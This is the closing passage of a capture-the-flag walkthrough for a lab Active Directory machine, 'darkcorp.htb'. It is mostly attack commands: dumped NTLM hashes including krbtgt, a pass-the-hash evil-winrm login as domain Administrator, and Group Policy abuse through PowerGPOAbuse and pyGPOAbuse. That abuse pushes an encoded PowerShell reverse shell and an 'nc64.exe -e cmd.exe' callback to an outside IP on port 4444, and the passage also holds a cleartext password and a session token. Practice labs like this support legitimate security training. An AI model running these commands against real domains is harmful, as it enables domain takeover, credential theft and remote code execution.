Administrator:500:aad3b435b51404eeaad3b435b51404ee:fcb3ca5a19a1ccf2d14c13e8b64cde0f:::
...
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:7c032c3e2657f4554bc7af108bd5ef17:::
...
WEB-01$:20601:aad3b435b51404eeaad3b435b51404ee:8f33c7fc7ff515c1f358e488fbb8b675:::

Final WinRM as domain Administrator:

evil-winrm -i 172.16.20.1 -u 'Administrator' -H 'fcb3ca5a19a1ccf2d14c13e8b64cde0f'

Root flag is on the desktop.

Extra Notes

Note 1 (PowerGPOAbuse experiments)

Tried additional commands:

# Assign a new right
Add-UserRights -Rights "SeLoadDriverPrivilege","SeDebugPrivilege" -Identity 'taylor.b.adm' -GPOIdentity 'SecurityUpdates'

# Adding a New Computer/User script
Add-ComputerScript/Add-UserScript -ScriptName 'EvilScript' -ScriptContent $(Get-Content evil.ps1) -GPOIdentity 'SecurityUpdates'

# Create an immediate task
Add-GPOImmediateTask -TaskName 'eviltask' -Command 'powershell.exe /c' -CommandArguments "'powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA1AC4ANAAzACIALAA0ADQANAA0ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG5kAGIAYQBjAGsACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA=='" -Author 'taylor.b.adm' -Scope User -GPOIdentity 'SecurityUpdates'

Verify task XML:

type '\\darkcorp.htb\sysvol\darkcorp.htb\policies\{652cae9a-4bb7-49f2-9e52-3361f33ce786}\User\Preferences\ScheduledTasks\ScheduledTasks.xml'

If missing, delete and retry:

rm '\\darkcorp.htb\sysvol\darkcorp.htb\policies\{652cae9a-4bb7-49f2-9e52-3361f33ce786}\User\Preferences\ScheduledTasks\ScheduledTasks.xml'

Then run gpupdate /force.

No reverse shell obtained in this path.

Note 2 (pyGPOAbuse attempt)

Upload nc64.exe to C:\temp.

Download pyGPOAbuse:

  • https://github.com/Hackndo/pyGPOAbuse

Commands tested:

python3 pyGPOAbuse/pygpoabuse.py darkcorp.htb/taylor.b.adm:'!QAZzaq1' -dc-ip 172.16.20.1 -gpo-id "652CAE9A-4BB7-49F2-9E52-3361F33CE786"
python3 pyGPOAbuse/pygpoabuse.py darkcorp.htb/taylor.b.adm:'!QAZzaq1' -dc-ip 172.16.20.1 -gpo-id "652CAE9A-4BB7-49F2-9E52-3361F33CE786" -powershell -command "C:\temp\nc64.exe -e cmd.exe 10.10.15.43 4444" -taskname "MyTask" -description "don't worry"

Listener:

rlwrap nc -vlnp 4444

On victim:

gpupdate /force

No reverse shell obtained in this path.

Note 3

Working JWT from analytics:

.eJwljkEKQjEMBe_StYsmpknjZT5NmqAICv_rSry7BXmrNzAwn7LlHse1XF77O05lu81yKe6paIisSiDQua7BWZxthCcxk2kqRUXPAEaaPUQRahB7pZ4kE7SNIUpNbQxGZSepczaWMA2rNOtohMZiZyJqvcXyE9O1rJD3Efu_Btb1Y8_t9bzHYwHxYBqCQNbClq6cYBCLm7iS9wZVppfvD2eMPtg.Z6vM7A.QhGafjK4Vfm14V9fq3hHth-Trrs